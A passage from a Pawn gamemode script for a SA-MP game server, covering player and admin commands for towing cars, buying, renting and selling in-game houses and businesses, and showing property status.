					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_2];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 3)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_3];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 4)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_4];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 5)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_5];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 6)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_6];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
			}
			return 1;
		}
	/*----------------------------------------------------------------------------*/
	if(strcmp(cmd, "/buyhouse", true) == 0)
	{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pPhousekey] != 9999 && strcmp(playername, HouseInfo[PlayerInfo[playerid][pPhousekey]][hOwner], true) == 0)
				{
					SendClientMessage(playerid, COLOR_WHITE, "You already own a house, sell it first.");
					return 1;
				}
				if(PINFO[playerid][pRented] != 0) return SCM(playerid,COLOR_Good,"You already rented a house /unrentroom first.");
				if(PINFO[playerid][pNCard]==0) return Error(playerid, "Error: You must have national card to continue.")
		  new Float:oldposx, Float:oldposy, Float:oldposz;
		  GetPlayerName(playerid, playername, sizeof(playername));
		  GetPlayerPos(playerid, oldposx, oldposy, oldposz);
		  for(new h = 0; h < sizeof(HouseInfo); h++)
		  {
			 if(PlayerToPoint(2.0, playerid, HouseInfo[h][hExitx], HouseInfo[h][hExity], HouseInfo[h][hExitz]) && HouseInfo[h][hOwned] == 0)
			 {
				if(PlayerInfo[playerid][pLevel] < HouseInfo[h][hLevel])
				{
					format(string, sizeof(string), "You need to be level +%d to buy this house.", HouseInfo[h][hLevel]);
					SendClientMessage(playerid, COLOR_SINA3, string);
					return 1;
				}
				if(GetPlayerPool(playerid) > HouseInfo[h][hValue])
				{
                    new poolehouse = HouseInfo[h][hValue];
					PlayerInfo[playerid][pPhousekey] = h;
					SaveKonVal(playerid, "pPhousekey", h);
					PlayerInfo[playerid][pRented] = 0;
					SaveKonVal(playerid, "pRented", 0);
					HouseInfo[h][hOwned] = 1;
					SaveKonValH(h, "hOwned", 1);

					strmid(HouseInfo[h][hOwner], PlayerInfo[playerid][pName], 0, strlen(PlayerInfo[playerid][pName]), 255);
					SaveKonStrH(h, "hOwner", PlayerInfo[playerid][pName]);
					GivePlayerPool(playerid,-HouseInfo[h][hValue]);
					PlayerPlayMusic(playerid);
					SetPlayerInterior(playerid,HouseInfo[h][hInt]);
					SetPlayerVirtualWorld(playerid,HouseInfo[h][hWorld]);
					SetPlayerPos(playerid,HouseInfo[h][hEntrancex],HouseInfo[h][hEntrancey],HouseInfo[h][hEntrancez]);
					SetPlayerMapIcon(playerid,30,HouseInfo[h][hExitx],HouseInfo[h][hExity],HouseInfo[h][hExitz],31,COLOR_LIGHTRED);
					TooHouse[playerid] = h;
					GameTextForPlayer(playerid, "~w~Welcome Home~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
					SendClientMessage(playerid, COLOR_GRAD1, "Congratulations with home");
					SendClientMessage(playerid, COLOR_GRAD2, "Type /househelp to view house commands.");
					//SaveAccount(playerid);
					Mahal[playerid] = 3;
					TooBiz[playerid] = 9999;
					CustomPickups();
					new sanideyilar[144];
				    format(sanideyilar,sizeof(sanideyilar),"[Admin-Warn]: {FFFFFF}Player %s bought house id #%d from server for $%s",PlayerInfo[playerid][pName], h, FormatNumber(poolehouse));
			        SendAdminMessage(COLOR_AdminWarn,sanideyilar);
					return 1;
				}
				else
				{
					SendClientMessage(playerid, COLOR_WHITE, "You haven't enough cash.");
					return 1;
				}
			 }
			 else if(PlayerToPoint(2.0, playerid, HouseInfo[h][hExitx], HouseInfo[h][hExity], HouseInfo[h][hExitz]) && HouseInfo[h][hOwned] == 2)
			 {
				if(PlayerInfo[playerid][pLevel] < HouseInfo[h][hLevel])
				{
					format(string, sizeof(string), "You need to be level +%d to buy this house.", HouseInfo[h][hLevel]);
					SendClientMessage(playerid, COLOR_SINA3, string);
					return 1;
				}
				if(PlayerInfo[playerid][pPhousekey] != 9999 && strcmp(playername, HouseInfo[PlayerInfo[playerid][pPhousekey]][hOwner], true) == 0)
				{
					SendClientMessage(playerid, COLOR_WHITE, "You already own a house, sell it first.");
					return 1;
				}
				if(GetPlayerPool(playerid) > HouseInfo[h][hForosh])
				{
					new OwnerA = ReturnUserEx(HouseInfo[h][hOwner]);
					if(IsPlayerConnected(OwnerA) && gPlayerLogged[OwnerA] == 1)
					{
					PlayerInfo[playerid][pPhousekey] = h;
					SaveKonVal(playerid, "pPhousekey", h);
					PlayerInfo[OwnerA][pPhousekey] = 9999;
					SaveKonVal(OwnerA, "pPhousekey", 9999);
				   /*
					   if(PINFO[OwnerA][gParked] == 1)
					{
					   CreateVehGarage(OwnerA);
					   SCM(OwnerA,COLOR_Good,"Your first car have been evicted from the parking.");
					}
					if(PINFO[OwnerA][gParked_2] == 1)
					{
					   CreateVehGarage_2(OwnerA);
					   SCM(OwnerA,COLOR_Good,"Your first car have been evicted from the parking.");
					}
						*/
					PlayerInfo[playerid][pRented] = 0;
					SaveKonVal(playerid, "pRented", 0);
					HouseInfo[h][hOwned] = 1;
					SaveKonValH(h, "hOwned", 1);
					GetPlayerName(playerid, sendername, sizeof(sendername));
					strmid(HouseInfo[h][hOwner], sendername, 0, strlen(sendername), 255);
					SaveKonStrH(h, "hOwner", sendername);
					new poolehousew = HouseInfo[h][hForosh];
					GivePlayerPool(playerid,-HouseInfo[h][hForosh]);
					PlayerInfo[OwnerA][pAccount] += HouseInfo[h][hForosh];
					SaveKonVal(OwnerA, "pAccount", PINFO[OwnerA][pAccount]);
					PlayerPlayMusic(playerid);
					SetPlayerInterior(playerid,HouseInfo[h][hInt]);
					SetPlayerVirtualWorld(playerid,HouseInfo[h][hWorld]);
					SetPlayerPos(playerid,HouseInfo[h][hEntrancex],HouseInfo[h][hEntrancey],HouseInfo[h][hEntrancez]);
					SetPlayerMapIcon(playerid,30,HouseInfo[h][hExitx],HouseInfo[h][hExity],HouseInfo[h][hExitz],31,COLOR_LIGHTRED);
					TooHouse[playerid] = h;
					GameTextForPlayer(playerid, "~w~Welcome Home~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
					SendClientMessage(playerid, COLOR_GRAD1, "Congratulations with home");
					SendClientMessage(playerid, COLOR_GRAD2, "Type /househelp to view house commands.");
					//SaveAccount(playerid);
					//SaveAccount(OwnerA);
					Mahal[playerid] = 3;
					TooBiz[playerid] = 9999;
					CustomPickups();
					new sanideyilarz[144];
				    format(sanideyilarz,sizeof(sanideyilarz),"[Admin-Warn]: {FFFFFF}Player %s bought house id #%d from %s for $%s",PlayerInfo[playerid][pName], h, PINFO[OwnerA][pName], FormatNumber(poolehousew));
			        SendAdminMessage(COLOR_AdminWarn,sanideyilarz);
					}
					else
					{
					SellOfflinePlayerHouse(playerid,h);
					}
					return 1;
				}
				else
				{
					SendClientMessage(playerid, COLOR_WHITE, "You haven't enough cash.");
					return 1;
				}
			 }
		  }
	   }
	   return 1;
	}
		if(strcmp(cmd, "/renters", true) == 0 || strcmp(cmd, "/tenants", true) == 0)
		{
			if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
			if(IsPlayerConnected(playerid))
			{
				NeshoonBedeRenters(playerid);
			}
			return 1;
		}
if(strcmp(cmd, "/jaillist", true) == 0 || strcmp(cmd, "/jl", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
		{
		 if(PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
		 {
			SendClientMessage(playerid, COLOR_GREEN, "__________ Jail List __________");
			for(new i = 0; i < MAX_PLAYERS; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PlayerInfo[i][pJailTime] > 0)
					{
					GetPlayerName(i, sendername, sizeof(sendername));
						format(string, 256, " Name: %s  ID: %d  Jail Time: %d sec", sendername,i,PlayerInfo[i][pJailTime]);
						SendClientMessage(playerid, COLOR_WHITE, string);
					}
				}
			}
		  }
		  else
		  {
			 SendClientMessage(playerid,COLOR_BLUE,"You are not a Cop.");
		  }
		}
		return 1;
	}
	
		if(strcmp(cmd, "/banlist", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 10) return SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use that command.");
			if(IsPlayerConnected(playerid))
			{
			NeshoonBedeBans(playerid);
			}
			return 1;
		}
		if(strcmp(cmd, "/rentroom", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new Float:oldposx, Float:oldposy, Float:oldposz;
				GetPlayerName(playerid, playername, sizeof(playername));
				GetPlayerPos(playerid, oldposx, oldposy, oldposz);
				for(new h = 0; h < sizeof(HouseInfo); h++)
				{
					if(PlayerToPoint(2.0, playerid, HouseInfo[h][hExitx], HouseInfo[h][hExity], HouseInfo[h][hExitz]) && (HouseInfo[h][hOwned] == 1 || HouseInfo[h][hOwned] == 2) &&  HouseInfo[h][hRentabil] == 1)
					{
						if(PlayerInfo[playerid][pPhousekey] != 9999 && strcmp(playername, HouseInfo[PlayerInfo[playerid][pPhousekey]][hOwner], true) == 0)
						{
							SendMessage(playerid, COLOR_WHITE, "You already own a house, type /sellhouse if you want to rent this one.");
							return 1;
						}
						if(PlayerInfo[playerid][pAccount] >= HouseInfo[h][hRent])
						{
							PlayerInfo[playerid][pPhousekey] = h;
							SaveKonVal(playerid, "pPhousekey", h);
							PlayerInfo[playerid][pRented] = 1;
							SaveKonVal(playerid, "pRented", 1);
							PINFO[playerid][pAccount] -= HouseInfo[h][hRent];
							SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
							HouseInfo[h][hTakings] = HouseInfo[h][hTakings]+HouseInfo[h][hRent];
							SaveKonValH(h, "hTakings", HouseInfo[h][hTakings]);
							PlayerPlayMusic(playerid);
							SetPlayerInterior(playerid,HouseInfo[h][hInt]);
							SetPlayerVirtualWorld(playerid,HouseInfo[h][hWorld]);
							SetPlayerMapIcon(playerid,30,HouseInfo[h][hExitx],HouseInfo[h][hExity],HouseInfo[h][hExitz],31,COLOR_LIGHTRED);
							SetPlayerPos(playerid,HouseInfo[h][hEntrancex],HouseInfo[h][hEntrancey],HouseInfo[h][hEntrancez]);
							TooHouse[playerid] = h;
							GameTextForPlayer(playerid, "~w~Welcome Home~n~You can exit at any time by moving to this door and Type /enter", 5000, 3);
							SendMessage(playerid, COLOR_WHITE, "** Congratulations, You can enter and exit here anytime.");
							SendMessage(playerid, COLOR_WHITE, "** Type /help to review the new property help section.");
							//SaveAccount(playerid);
							Mahal[playerid] = 3;
							TooBiz[playerid] = 9999;
							return 1;
						}
						else
						{
							SendMessage(playerid, COLOR_WHITE, "You haven't enough cash in your account(bank account)");
							return 1;
						}
					}
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/unrentvehicle", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(RentedVehicle[playerid] != INVALID_VEHICLE_ID)
				{
					SetVehicleToRespawn(RentedVehicle[playerid]);
					RentedVehicle[playerid] = INVALID_VEHICLE_ID;
					GameTextForPlayer(playerid, "~w~You no longer rent a vehicle", 5000, 3);
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/unrentroom", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, playername, sizeof(playername));
				if(PlayerInfo[playerid][pPhousekey] != 9999 && strcmp(playername, HouseInfo[PlayerInfo[playerid][pPhousekey]][hOwner], true) == 0)
				{
					SendMessage(playerid, COLOR_WHITE, "You haven't a rented house.");
					return 1;
				}
				if(PlayerInfo[playerid][pRented] != 1)
				{
					SCM(playerid, COLOR_CRS3, "You haven't rent a house.");
					return 1;
				}
				RemovePlayerMapIcon(playerid,30);
				PlayerInfo[playerid][pPhousekey] = 9999;
				SaveKonVal(playerid, "pPhousekey", 9999);
				PlayerInfo[playerid][pRented] = 0;
				SaveKonVal(playerid, "pRented", 0);
				SendMessage(playerid, COLOR_GREEN, "You are now homeless.");
				/*
				if(PINFO[playerid][gParked] == 1)
				{
					CreateVehGarage(playerid);
					SCM(playerid,COLOR_Good,"Your first car have been evicted from the parking.");
				}
				if(PINFO[playerid][gParked_2] == 1)
				{
					CreateVehGarage_2(playerid);
					SCM(playerid,COLOR_Good,"Your first car have been evicted from the parking.");
				}
				*/
			}
			return 1;
		}
		if(strcmp(cmd, "/housewithdraw", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, playername, sizeof(playername));
				new bouse = PlayerInfo[playerid][pPhousekey];
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /housewithdraw <Amount>");
						format(string, sizeof(string), "You've got $%s in your house.", FormatNumber(HouseInfo[bouse][hTakings]));
						SendMessage(playerid, COLOR_GRAD3, string);
						return 1;
					}
					new cashdeposit = strval(tmp);
					if (cashdeposit > HouseInfo[bouse][hTakings] || cashdeposit < 1)
					{
						SendMessage(playerid, COLOR_GRAD2, "You haven't enough money in home.");
						return 1;
					}
					if (TooHouse[playerid] != bouse)
					{
						SendMessage(playerid, COLOR_SINA3, "You must be in home to do that.");
						return 1;
					}
					else
					{
						GivePlayerPool(playerid,cashdeposit);
						HouseInfo[bouse][hTakings]=HouseInfo[bouse][hTakings]-cashdeposit;
						SaveKonValH(bouse, "hTakings", HouseInfo[bouse][hTakings]);
						format(string, sizeof(string), "You have withdrawn $%s from home Total: $%s", FormatNumber(cashdeposit),FormatNumber(HouseInfo[bouse][hTakings]));
						SendMessage(playerid, COLOR_YELLOW, string);
						return 1;
					}
			}
			return 1;

		}

		if(strcmp(cmd, "/carinfoex", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, playername, sizeof(playername));
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Carinfoex <CarID> ( CarIDs: /Dl )");
					return 1;
				}
					new id = strval(tmp);
					new Float:x,Float:y,Float:z;
					GetVehiclePos(id, x, y, z);
					if(OwnedMashin[id] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: this vehicle is not a personal car.");
					if(!PlayerToPoint(20.0, playerid, x, y, z)) return SCM(playerid, COLOR_YELLOW2, "Error: You must near this vehicle.");

					new v;
					if(id == PlayerInfo[MashinOwner[id]][pCar_1]) {v = PINFO[MashinOwner[id]][pVeh1];}
					else if(id == PlayerInfo[MashinOwner[id]][pCar_2]) {v = PINFO[MashinOwner[id]][pVeh2];}
					else if(id == PlayerInfo[MashinOwner[id]][pCar_3]) {v = PINFO[MashinOwner[id]][pVeh3];}
					else if(id == PlayerInfo[MashinOwner[id]][pCar_4]) {v = PINFO[MashinOwner[id]][pVeh4];}
					else if(id == PlayerInfo[MashinOwner[id]][pCar_5]) {v = PINFO[MashinOwner[id]][pVeh5];}
					else if(id == PlayerInfo[MashinOwner[id]][pCar_6]) {v = PINFO[MashinOwner[id]][pVeh6];}
					new sname[MAX_PLAYER_NAME];
					GetPlayerName(MashinOwner[id],sname,sizeof(sname));
					new vehicles = GetVehicleModel(id) - 400;
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					format(string, 256, "*** %s's %s ***", sname, aVehicleNames[vehicles]);
					SCM(playerid, COLOR_WHITE, string);
					format(string, 256, "Standard Price:[$%s] Times Destroyed:[%d] Insurance Amount:[%d]",FormatNumber(vInfo[v][cPrice]),vInfo[v][cDestroyed],vInfo[v][cInsurance]);
					SCM(playerid, COLOR_GRAD3, string);
					format(string, 256, "Plate:[%s] Color id 1:[%d] Color id 2:[%d] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],vInfo[v][cKilo]);
					SCM(playerid,COLOR_GRAD2, string);
					SendMessage(playerid, CRISTIAN,"_______________________________________");
			}
			return 1;
		}
		if(strcmp(cmd, "/bizstatus", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				for(new i = 0; i < sizeof(BizzInfo); i++)
				{
					if (PlayerToPoint(3, playerid,BizzInfo[i][bEntranceX], BizzInfo[i][bEntranceY], BizzInfo[i][bEntranceZ]))
					{
					new neontext[20];
					if(BizzInfo[i][bLocked] == 0) { neontext = "No"; }
					else if(BizzInfo[i][bLocked] == 1) { neontext = "Yes"; }
					new till = BizzInfo[i][bTill];
					new own[20];
					if(BizzInfo[i][bOwned] == 0) { own = "No"; }
					else if(BizzInfo[i][bOwned] == 1) { own = "Yes"; }
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					format(string, 256, "*** %s's business ***", BizzInfo[i][bOwner]);
					SendMessage(playerid, COLOR_WHITE, string);
					format(string, 256, "Till: [$%s] Biz Level:[%d] Standard Price:[$%s] Locked:[%s] Owned: [%s]",FormatNumber(till), BizzInfo[i][bLevelNeeded], FormatNumber(BizzInfo[i][bBuyPrice]),neontext,own);
					SendMessage(playerid, COLOR_GRAD3, string);
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					}
				}
				for(new i = 0; i < sizeof(SBizzInfo); i++)
				{
					if (PlayerToPoint(3, playerid,SBizzInfo[i][sbEntranceX], SBizzInfo[i][sbEntranceY], SBizzInfo[i][sbEntranceZ]))
					{
					new till = SBizzInfo[i][sbTill];
					new own[20];
					if(SBizzInfo[i][sbOwned] == 0) { own = "No"; }
					else if(SBizzInfo[i][sbOwned] == 1) { own = "Yes"; }

					SendMessage(playerid, CRISTIAN,"_______________________________________");
					format(string, 256, "*** %s's special business ***", SBizzInfo[i][sbOwner]);
					SendMessage(playerid, COLOR_WHITE, string);
					format(string, 256, "Till: [$%s] Biz Level:[%d] Standard Price:[$%s] Owned: [%s]",FormatNumber(till), SBizzInfo[i][sbLevelNeeded], FormatNumber(SBizzInfo[i][sbBuyPrice]),own);
					SendMessage(playerid, COLOR_GRAD3, string);
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					}
				}
				//else {SCM(playerid, COLOR_YELLOW2, "Error: you must near a business");}
			}
			return 1;
		}
		if(strcmp(cmd, "/housestatus", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				for(new i = 0; i < sizeof(HouseInfo); i++)
				{
					if (PlayerToPoint(3.0, playerid,HouseInfo[i][hExitx], HouseInfo[i][hExity], HouseInfo[i][hExitz]))
					{
					new neontext[20];
					if(HouseInfo[i][hLock] == 0) { neontext = "No"; }
					else if(HouseInfo[i][hLock] == 1) { neontext = "Yes"; }

					new own[20];
					if(HouseInfo[i][hOwned] == 0) { own = "No"; }
					else if(HouseInfo[i][hOwned] == 1) { own = "Yes"; }
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					format(string, 256, "*** %s's house ***", HouseInfo[i][hOwner]);
					SendMessage(playerid, COLOR_WHITE, string);
					format(string, 256, "House Level:[%d] Standard Price:[$%s] Locked:[%s] Owned: [%s]",HouseInfo[i][hLevel], FormatNumber(HouseInfo[i][hValue]),neontext,own);
					SendMessage(playerid, COLOR_GRAD3, string);
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					}
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/asellsbiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, playername, sizeof(playername));
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Asellsbiz <Sbizid>");
					return 1;
				}
				new sbiz = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 12)
				{
					SBizzInfo[sbiz][sbOwned] = 0;
					SaveKonVal(SBizzInfo[sbiz][sbOwner], "pPbiskey", 9999);
					strmid(SBizzInfo[sbiz][sbOwner], "The State", 0, strlen("The State"), 255);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s sold Sbiz id %d.",admname, sbiz);
					ABroadCast(COLOR_AdminWarn,string,5);
					PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
					GameTextForPlayer(playerid, "~w~You have sold the SBusiness", 10000, 3);
					OnSbizUpdate(sbiz);
					CustomPickups();
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_WHITE, "You are not an admin.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/asellhouse", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, playername, sizeof(playername));
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Asellhouse <Houseid>");
					return 1;
				}
				new house = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 12)
				{
					HouseInfo[house][hHel] = 0;
					SaveKonVal(HouseInfo[house][hOwner], "pPhousekey", 9999);
					SaveKonValH(house, "hHel", 0);
					HouseInfo[house][hLock] = 1;
					SaveKonValH(house, "hLock", 1);
					HouseInfo[house][hOwned] = 0;
					SaveKonValH(house, "hOwned", 0);
					strmid(HouseInfo[house][hOwner], "The State", 0, strlen("The State"), 255);
					SaveKonStrH(house, "hOwner", "The State");
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s sold house id %d.",admname, house);
					ABroadCast(COLOR_AdminWarn,string,5);
					PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
					GameTextForPlayer(playerid, "You sold the house", 10000, 3);
					CustomPickups();
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_WHITE, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}


		if(strcmp(cmd, "/asellbiz", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, playername, sizeof(playername));
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Asellbiz <BizId>");
					return 1;
				}
				new biz = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 12)
				{
					BizzInfo[biz][bOwned] = 0;
					SaveKonValB(biz, "bOwned", 0);
					SaveKonValB(BizzInfo[biz][bOwner], "pPbiskey", 9999);
					strmid(BizzInfo[biz][bOwner], "The State", 0, strlen("The State"), 255);
					SaveKonStrB(biz, "bOwner", "The State");
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s sold biz id %d.",admname, biz);
					ABroadCast(COLOR_AdminWarn,string,5);
					PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
					GameTextForPlayer(playerid, "~w~You have sold the Business", 10000, 3);
					OnBizUpdate(biz);
					CustomPickups();
					return 1;
				}
				else
				{
					SendMessage(playerid, COLOR_WHITE, "You are not an admin.");
				}
			}
			return 1;
		}
		if(!strcmp(cmd,"/sellhousetostate",true))
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			GetPlayerName(playerid, playername, sizeof(playername));
			new house = PlayerInfo[playerid][pPhousekey];
			if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
			if(!IsPlayerInRangeOfPoint(playerid,2.0,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz]) && TooHouse[playerid] != house) return SCM(playerid,COLOR_Good,"You must be in home or near home's door");
			new infostr[512],price = HouseInfo[house][hValue]*40/100;
			format(infostr,512,"Do you accept to sell home?\n\nYou sell home to state and state give you $%s and put your house for sell.",FormatNumber(price));
